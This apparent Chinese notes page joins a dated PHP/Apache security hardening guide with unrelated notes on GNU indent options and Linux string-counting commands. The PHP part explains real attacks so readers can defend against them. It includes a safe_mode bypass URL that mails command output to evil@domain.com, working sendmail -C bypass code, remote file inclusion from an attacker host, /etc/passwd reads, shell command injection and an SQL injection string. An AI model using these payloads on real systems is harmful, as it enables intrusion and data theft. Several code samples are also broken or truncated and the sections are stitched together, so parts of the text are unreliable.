PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远 了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和 PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接 MySQL时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发 送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id│mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的 Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选 项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是 Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数 以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定义目录:
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:
几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。 所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:
safe_mode_gid = On
设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而 且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请 在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用 safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程 序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、 COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是 register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。
解决方法:
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
/n");
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法:
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过了。
4、包含文件
极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命 令的文件,如http://attack/attack.txt的内容是<;?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。
解决方法:
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录, 如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量 名是file,而且register_globals打开)
$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用:
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
这是一个最简单的文件上传代码:
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功!点击 继续上传 ";
exit;
}
?>
上传文件:
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件:
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法:
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:
php_flag engine off
#如果是php3换成php3_engine off
重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack摘出,详细的描述见:
http://www.securityfocus.com/bid/4303
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd命令:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。
解决方法:
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
7、sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题:
select * from login where user='$user' and pass='$pass'
攻击者可以用户名和口令都输入1' or 1='1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:
select * from login where user='1/' or 1=/'1' and pass='1/' or 1=/'1'
从而避免了此类sql_inject攻击。
对于数字类型的字段,很多程序员会这样写:
select * from test where id=$id
由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语 句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查 询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。
解决方法:
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。
8、警告及错误信息
PHP默认显示所有的警告及错误信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访 问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己 知道程序错误所在。
修改php.ini中关于Error handling and logging部分内容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。
9、disable_functions
如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。
10、disable_classes
这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限 制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。
四、其它安全配置
1、取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命 令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在Linux下可以用/lib/ld- linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运 行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,
2、去掉apache日志其它用户的读权限
apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。
当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。
linux indent格式化代码
Linux kernel有一个脚本Lindent,可以帮助你将自己的代码做一个好的代码风格格式化。
如:/usr/src/linux-headers-2.6.22-14/scripts/Lindent
常用的设置:
indent -npro -kr -i4 -ts4 -sob -l80 -ss -bl -bli 0
(这个风格我喜欢)
参数说明:
-npro或--ignore-profile 不要读取indent的配置文件.indent.pro。
-kr 指定使用Kernighan&Ritchie的格式。可以换为 -orig,BSD风格
-i4 --indent-level 设置缩排的格数为4。
-ts4 设置tab的长度
-sob或--swallow-optional-blank-lines 删除多余的空白行。
-l80 代码超过80换行
-ss或--space-special-semicolon 若for区段只有一行时,在分号前加上空格。
-ncs或--no-space-after-casts 不要在cast之后空一格。
-bl {分行显示
-bli 0 括号缩进为0
我较常用的是:
indent -npro -nip -nlp -npsl -i4 -ts4 -sob -l200 -ss -bl -bli 0 代码文件名
功能说明:调整C原始代码文件的格式。
语 法:indent [参数][源文件] 或 indent [参数][源文件][-o 目标文件]
补充说明:indent可辨识C的原始代码文件,并加以格式化,以方便程序设计师阅读。
参 数:
-bad或--blank-lines-after-declarations 在声明区段或加上空白行。
-bap或--blank-lines-after-procedures 在程序或加上空白行。
-bbb或--blank-lines-after-block-comments 在注释区段后加上空白行。
-bc或--blank-lines-after-commas 在声明区段中,若出现逗号即换行。
-bl或--braces-after-if-line if(或是else,for等等)与后面执行区段的"{"不同行,且"}"自成一行。
-bli<缩排格数>或--brace-indent<缩排格数> 设置{ }缩排的格数。
-br或--braces-on-if-line if(或是else,for等等)与后面执行跛段的"{"不同行,且"}"自成一行。
-bs或--blank-before-sizeof 在sizeof之后空一格。
-c<栏数>或--comment-indentation<栏数> 将注释置于程序码右侧指定的栏位。
-cd<栏数>或--declaration-comment-column<栏数> 将注释置于声明右侧指定的栏位。
-cdb或--comment-delimiters-on-blank-lines 注释符号自成一行。
-ce或--cuddle-else 将else置于"}"(if执行区段的结尾)之后。
-ci<缩排格数>或--continuation-indentation<缩排格数> 叙述过长而换行时,指定换行后缩排的格数。
-cli<缩排格数>或--case-indentation-<缩排格数> 使用case时,switch缩排的格数。
-cp<栏数>或-else-endif-column<栏数> 将注释置于else与elseif叙述右侧定的栏位。
-cs或--space-after-cast 在cast之后空一格。
-d<缩排格数>或-line-comments-indentation<缩排格数> 针对不是放在程序码右侧的注释,设置其缩排格数。
-di<栏数>或--declaration-indentation<栏数> 将声明区段的变量置于指定的栏位。
-fc1或--format-first-column-comments 针对放在每行最前端的注释,设置其格式。
-fca或--format-all-comments 设置所有注释的格式。
-gnu或--gnu-style. 指定使用GNU的格式,此为预设值。
-i<格数>或--indent-level<格数> 设置缩排的格数。
-ip<格数>或--parameter-indentation<格数> 设置参数的缩排格数。
-kr或--k-and-r-style. 指定使用Kernighan&Ritchie的格式。
-lp或--continue-at-parentheses 叙述过长而换行,且叙述中包含了括弧时,将括弧中的每行起始栏位内容垂直对其排列。
-nbad或--no-blank-lines-after-declarations 在声明区段后不要加上空白行。
-nbap或--no-blank-lines-after-procedures 在程序后不要加上空白行。
-nbbb或--no-blank-lines-after-block-comments 在注释区段后不要加上空白行。
-nbc或--no-blank-lines-after-commas 在声明区段中,即使出现逗号,仍旧不要换行。
-ncdb或--no-comment-delimiters-on-blank-lines 注释符号不要自成一行。
-nce或--dont-cuddle-else 不要将else置于"}"之后。
-ncs或--no-space-after-casts 不要在cast之后空一格。
-nfc1或--dont-format-first-column-comments 不要格式化放在每行最前端的注释。
-nfca或--dont-format-comments 不要格式化任何的注释。
-nip或--no-parameter-indentation 参数不要缩排。
-nlp或--dont-line-up-parentheses 叙述过长而换行,且叙述中包含了括弧时,不用将括弧中的每行起始栏位垂直对其排列。
-npcs或--no-space-after-function-call-names 在调用的函数名称之后,不要加上空格。
-npro或--ignore-profile 不要读取indent的配置文件.indent.pro。
-npsl或--dont-break-procedure-type 程序类型与程序名称放在同一行。
-nsc或--dont-star-comments 注解左侧不要加上星号(*)。
-nsob或--leave-optional-semicolon 不用处理多余的空白行。
-nss或--dont-space-special-semicolon 若for或while区段仅有一行时,在分号前不加上空格。
-nv或--no-verbosity 不显示详细的信息。
-orig或--original 使用Berkeley的格式。
-pcs或--space-after-procedure-calls 在调用的函数名称与"{"之间加上空格。
-psl或--procnames-start-lines 程序类型置于程序名称的前一行。
-sc或--start-left-side-of-comments 在每行注释左侧加上星号(*)。
-sob或--swallow-optional-blank-lines 删除多余的空白行。
-ss或--space-special-semicolon 若for或swile区段今有一行时,在分号前加上空格。
-st或--standard-output 将结果显示在标准输出设备。
-T 数据类型名称缩排。
-ts<格数>或--tab-size<格数> 设置tab的长度。
-v或--verbose 执行时显示详细的信息。
-version 显示版本信息。
alias myindent='indent -npro -kr -bl -nce -bli0 -i2 -ts2 -sob -l80 -nfc1 -ss -ncs'
Common styles
There are several common styles of C code, including the GNU style, the Kernighan & Ritchie style, and the original Berkeley style. A style may be selected with a single background option, which specifies a set of values for all other options. However, explicitly specified options always override options implied by a background option.
As of version 1.2, the default style of GNU indent
is the GNU style. Thus, it is no longer necessary to specify the option ‘-gnu ’ to obtain this format, although doing so will not cause an error. Option settings which correspond to the GNU style are:
-nbad -bap -nbc -bbo -bl -bli2 -bls -ncdb -nce -cp1 -cs -di2 -ndj -nfc1 -nfca -hnl -i2 -ip5 -lp -pcs -nprs -psl -saf -sai -saw -nsc -nsob |
The GNU coding style is that preferred by the GNU project. It is the style that the GNU Emacs C mode encourages and which is used in the C portions of GNU Emacs. (People interested in writing programs for Project GNU should get a copy of The GNU Coding Standards, which also covers semantic and portability issues such as memory usage, the size of integers, etc.)
The Kernighan & Ritchie style is used throughout their well-known book The C Programming Language . It is enabled with the ‘-kr ’ option. The Kernighan & Ritchie style corresponds to the following set of options:
-nbad -bap -bbo -nbc -br -brs -c33 -cd33 -ncdb -ce -ci4 -cli0 -cp33 -cs -d0 -di1 -nfc1 -nfca -hnl -i4 -ip0 -l75 -lp -npcs -nprs -npsl -saf -sai -saw -nsc -nsob -nss |
Kernighan & Ritchie style does not put comments to the right of code in the same column at all times (nor does it use only one space to the right of the code), so for this style indent
has arbitrarily chosen column 33.
The style of the original Berkeley indent
may be obtained by specifying ‘-orig ’ (or by specifying ‘--original ’, using the long option name). This style is equivalent to the following settings:
-nbad -nbap -bbo -bc -br -brs -c33 -cd33 -cdb -ce -ci4 -cli0 -cp33 -di16 -fc1 -fca -hnl -i4 -ip4 -l75 -lp -npcs -nprs -psl -saf -sai -saw -sc -nsob -nss -ts8 |
The Linux style is used in the linux kernel code and drivers. Code generally has to follow the Linux coding style to be accepted. This style is equivalent to the following settings:
-nbad -bap -nbc -bbo -hnl -br -brs -c33 -cd33 -ncdb -ce -ci4 -cli0 -d0 -di1 -nfc1 -i8 -ip0 -l80 -lp -npcs -nprs -npsl -sai -saf -saw -ncs -nsc -sob -nfca -cp33 -ss -ts8 -il1 |
表 1. Indent代码格式化说明
使用的indent参数 | 值 | 含义 |
---|---|---|
--blank-lines-after-declarations | bad | 变量声明后加空行 |
--blank-lines-after-procedures | bap | 函数结束后加空行 |
--blank-lines-before-block-comments | bbb | 块注释前加空行 |
--break-before-boolean-operator | bbo | 较长的行,在逻辑运算符前分行 |
--blank-lines-after-commas | nbc | 变量声明中,逗号分隔的变量不分行 |
--braces-after-if-line | bl | "if"和"{"分做两行 |
--brace-indent 0 | bli0 | "{"不继续缩进 |
--braces-after-struct-decl-line | bls | 定义结构,"struct"和"{"分行 |
--comment-indentationn | c33 | 语句后注释开始于行33 |
--declaration-comment-columnn | cd33 | 变量声明后注释开始于行33 |
--comment-delimiters-on-blank-lines | ncdb | 不将单行注释变为块注释 |
--cuddle-do-while | ncdw | "do --- while"的"while"和其前面的"}"另起一行 |
--cuddle-else | nce | "else"和其前面的"}"另起一行 |
--case-indentation 0 | cli0 | switch中的case语句所进0个空格 |
--else-endif-columnn | cp33 | #else, #endif后面的注释开始于行33 |
--space-after-cast | cs | 在类型转换后面加空格 |
--line-comments-indentation n | d0 | 单行注释(不从1列开始的),不向左缩进 |
--break-function-decl-args | nbfda | 关闭:函数的参数一个一行 |
--declaration-indentationn | di2 | 变量声明,变量开始于2行,即不必对齐 |
--format-first-column-comments | nfc1 | 不格式化起于第一行的注释 |
--format-all-comments | nfca | 不开启全部格式化注释的开关 |
--honour-newlines | hnl | Prefer to break long lines at the position of newlines in the input. |
--indent-leveln | i4 | 设置缩进多少字符,如果为tab的整数倍,用tab来缩进,否则用空格填充。 |
--parameter-indentationn | ip5 | 旧风格的函数定义中参数说明缩进5个空格 |
--line-length 75 | l75 | 非注释行最长75 |
--continue-at-parentheses | lp | 续行从上一行出现的括号开始 |
--space-after-procedure-calls | pcs | 函数和"("之间插入一个空格 |
--space-after-parentheses | nprs | 在"("后")"前不插入空格 |
--procnames-start-lines | psl | 将函数名和返回类型放在两行定义 |
--space-after-for | saf | for后面有空格 |
--space-after-if | sai | if后面有空格 |
--space-after-while | saw | while后面有空格 |
--start-left-side-of-comments | nsc | 不在生成的块注释中加* |
--swallow-optional-blank-lines | nsob | 不去掉可添加的空行 |
--space-special-semicolon | nss | 一行的for或while语句,在";"前不加空。 |
--tab-size | ts4 | 一个tab为4个空格(要能整除"-in") |
--use-tabs | ut | 使用tab来缩进 |
Linux 小总结
awk -v RS='Kwqm-S1125751-T1003551' 'END {print --NR}' kxleads-20100902.log
查找指定文字在文件中的个数
统计一个文件中特定字符的个数统计一个文件中某个字符串的个数,
其实就是在在一块沙地 里面找石头,
有的人看到石头以后,在上面做个标记(grep),然后记住自己做了多少个标记;
有的 人看到石头以后,把它挖了(tr),最后统计自己挖了多少石头;
有的人看到石头以后,把它跳过去(awk),然后统计自己跳了多少次。
这是我用的的文件 [root@bzhou test]# cat filehafsdhahahafsdfsdhahahaha
我想匹配的是‘haha’这个字符串
1.grep的-o选项[root@bzhou test]# grep -c 'haha' file2最开始的时候是用-c这个选项,不过-c只能统计一行的,如果一行里面有多个匹配的字符串,那-c就无能为力了。
这个是正确的 [root@bzhou test]# grep -o 'haha' file wc -l3
2. awk这个东西要感谢CU上的blackold。
[root@bzhou test]# awk -v RS='haha' 'END {print --NR}' file
-v 去设定一个变量的值,
RS是记录的分隔符,默认的是新行(/n),就是说awk按照一行一行读数据,
但是现在RS为'haha'后,就按'haha'读数 据了,
NR为已读的记录数,n个记录是被n-1个分隔符分开的,所以就是--NR了。
3.tr严格意义上说,tr匹配不了字符串,只能去匹配单个字符。
这 里就匹配这个文件中‘h’的个数。
[root@bzhou test]# tr -cd 'h' <file wc -c8[root@bzhou test]# grep -o 'h' file wc -l8
-d可以删除某个字符,如果只有-d就会输出删除特定字符后的字符串,但是-c可以反显,这就是显示了被删除的字符。然后可以用wc -c去统计下字符的个数。
ln -s aaa/bbb/ccc ooo
连接